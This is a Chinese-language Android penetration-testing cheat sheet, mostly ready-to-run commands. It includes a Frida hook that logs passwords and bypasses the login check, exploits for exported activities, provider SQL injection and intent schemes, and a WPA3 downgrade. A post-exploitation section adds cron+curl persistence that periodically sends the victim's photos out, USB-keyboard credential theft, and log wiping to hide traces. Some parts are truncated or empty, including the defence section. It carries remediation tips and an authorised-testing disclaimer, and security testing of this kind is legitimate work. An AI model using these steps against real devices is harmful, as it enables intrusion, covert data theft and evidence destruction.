一、信息收集
- 公开情报
-应用商店:版本号、开发者、评论抓 API
-域名/IP:证书透明度、DNS 历史
- 设备指纹
adb shell getprop | grep -E "(ro.product|ro.build)" > device.txt
adb shell pm list packages -f > pkg.txt
- 端口/服务扫描
nmap -sV -p 1-65535 <phone_ip> -oA nmap_phone
- APK 拉取
adb shell pm path com.target.app | cut -d: -f2 | xargs -I{} adb pull {} target.apk
二、静态逆向
目标 |
命令/工具 |
输出 |
解包资源 |
apktool d target.apk -o target_smali |
AndroidManifest.xml、smali、res |
转 Java |
dex2jar.sh target.apk → jd-gui classes-dex2jar.jar |
可读 Java 源码 |
敏感字符串 |
`grep -iE "(pass |
key |
组件审计 |
aapt dump xmltree target.apk AndroidManifest.xml |
exported 组件、权限、intent-filter |
自动化扫描 |
mobsfscan target.apk → Web 报告 |
OWASP Mobile Top10 覆盖 |
三、动态分析
- 安装 & 启动
adb install target.apk
adb shell monkey -p com.target.app -c android.intent.category.LAUNCHER 1
- SSL 流量去固定
- Xposed 模块:
JustTrustMe++
- Frida 脚本:
ssl-unpin.js
(兼容 OKHttp3、Retrofit、Flutter)
- Burp Suite 抓包
- 手机 Wi-Fi 代理 → Burp 监听
- 安装 Burp CA → 系统证书(Android 7+ 需
adb root
后挂载 /system
)
- ** drozer 快速定位攻击面**
dz> run app.package.attacksurface com.target.app
dz> run app.activity.info -a com.target.app
dz> run scanner.provider.injection -a com.target.app
- Frida 动态 Hook
Java.perform(function(){var LoginUtil = Java.use("com.target.LoginUtil");LoginUtil.verifyPassword.implementation = function(p){console.log(">>> Password = " + p);return true; // 直接绕过};
});
五、典型漏洞利用
漏洞 |
利用场景 |
工具/命令 |
修复建议 |
exported Activity 绕过登录 |
直接拉起后台界面 |
adb shell am start -n com.target/.BackDoorActivity |
android:exported="false" 或加权限 |
Provider SQL-Injection |
content:// 查询泄露密码表 |
drozer run scanner.provider.injection |
参数化查询 + StrictMode |
Intent Scheme URL |
WebView 远程打开任意组件 |
intent:#Intent;component=com.target/.SendSms;... |
校验 host/path + 禁用 file 协议 |
Weak RNG 破解令牌 |
时间戳可预测 |
Frida hook java.util.Random 种子 |
用 java.security.SecureRandom |
内存 dump 抓密钥 |
frida-trace -i "EVP_*" 定位 OpenSSL 密钥 |
加 TEE/白盒加密 |
|
WPA3 降级攻击 |
强制客户端回落 WPA2 |
hostapd-mana + EAP downgrade |
关闭过渡模式,仅允许 WPA3-SAE |
六、后渗透 & 权限维持
- 获取高权
- Magisk
su
→ 植入 /system/bin
脚本
- NetHunter
hid-keyboard
模拟 USB 键盘偷凭证
- 持久化
- 植入 Frida-gadget.so → App 启动即加载
- 添加
cron
+ curl
定时回传 /sdcard/DCIM
- 痕迹清理
- 清空
/data/system/dropbox
& logcat -c
- 重打包 App 时删除
libfrida-gadget.so
符号
七、防御加固
汇总
- 信息收集:
adb + nmap + drozer attacksurface
- 静态:apktool → smali → grep 关键字
- 动态:Frida 脚本 + Burp 抓包 + Objection 内存漫游
- 典型洞:exported 组件、SSL-Pinning 失败、Provider 注入、Intent Scheme
- 报告:风险分级 + 复现命令 + 修复代码片段
把上面脚本全跑一遍,你就能在 24 h 内输出一份 可直接交付的 Android 渗透测试报告,并且知道每个漏洞背后的 系统原理 & 修复代码。祝挖洞顺利,合法授权前提下尽情折腾!